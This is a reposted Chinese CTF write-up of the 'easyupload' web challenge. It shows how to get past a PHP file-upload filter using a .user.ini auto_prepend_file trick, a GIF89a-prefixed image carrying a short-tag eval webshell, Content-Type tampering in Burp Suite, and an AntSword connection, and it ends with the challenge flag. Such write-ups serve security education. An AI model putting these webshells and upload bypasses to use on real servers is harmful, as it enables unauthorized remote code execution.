0


CTF-WEB篇 攻防世界题目实战解析easyupload

题目:easyupload 难度:1

知识点:

上传漏洞,服务器防护绕过,后门,.user.ini,auto_prepend_file的使用

本服务器使用了FastCGI,我们要用.user.ini对我们上传的漏洞加以隐藏。

有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的Content-Type并将文件后缀改为phtml以此来利用文件上传漏洞。

所以我们要配置一个.user.ini文件,使我们上传的文件能顺利绕过防护,拿到shell权限。

auto_prepend_file如何是什么?

auto_prepend_file可以让同目录下所有的php文件自动的包含某个文件。

举例:

在user.ini文件中写入

auto_prepend_file=muma.jpg

然后再在muma.jpg中写入

<?php eval($_REQUEST['muma']); ?>

如此,.user.ini与muma.jpg所在同目录下的所有.php文件都会带有muma.jpg文件。

关于fastcgi绕过

简言之 有四个要点

检查文件内容是否有php字符

一句话木马里肯定不能有php字样, <?php @eval($_POST['mumapass']);?> 这种是不行的

可以用这种短标签绕过 <?=eval($_POST['mumapass']);?>

检查后缀中是否有htaccess或ph

上传.user.ini与正常的muma.jpg

检查文件头部信息

在文件头部添加一个图片的文件头来绕过

GIF89a
<?=eval($_REQUEST['muma']);?>
文件MIME类型

修改上传时的Content-Type

如上,是我在这题目中总结出的知识要点,如有错误,欢迎纠错。

以下,是我当时做题的完整思路

解题

步骤一

写一个一句话木马,上传,发现被服务器拒绝

更改为jpg格式,上传

提示文件类型有问题,说明文件内**.php**代码被检测到,所以我们需绕过。

步骤二

新建编写,user.ini.txt代码 结合上述知识点

GIF89a
auto_prepend_file=muma.jpg

新建编写muma.txt文件代码 结合上述知识点

GIF89a
<?=eval($_REQUEST['muma']);?>

步骤三 上传并使用burpsuite抓包

因为user.ini文件直接上传还是会被阻拦,所以得运用到上面知识点的抓包更改context type。

抓包后更改参数

更改后我们顺利把.user.ini配置文件上传(上面截图这里我删漏了一个.,因为我是以txt文件上唇然后删除.txt,没想到删漏了个点,大家不要盲抄我的)

然后我们继续把muma.jpg上传

如法炮制更改

步骤四 蚁剑!

右键界面选择add添加,访问你上传的路径

这里要注意:

你所访问的index.php应该是在upload目录下的,因为上传的.user.ini缘故,该index.php才拥有后门,才能从此进入。

然后就可以开始找flag,当然你也可以一开始就把muma.jpg里的代码改成cat,直接抓取flag,还省的自己找。<?=system(‘cat/flag’);?>

cyberpeace{8e2de650bf1a5585e7919636a04c10d3}


本文转载自: https://blog.csdn.net/2301_76565920/article/details/138128727
版权归原作者 小徐小徐春风徐徐-- 所有, 如有侵权,请联系我们删除。

“CTF-WEB篇 攻防世界题目实战解析easyupload”的评论:

还没有评论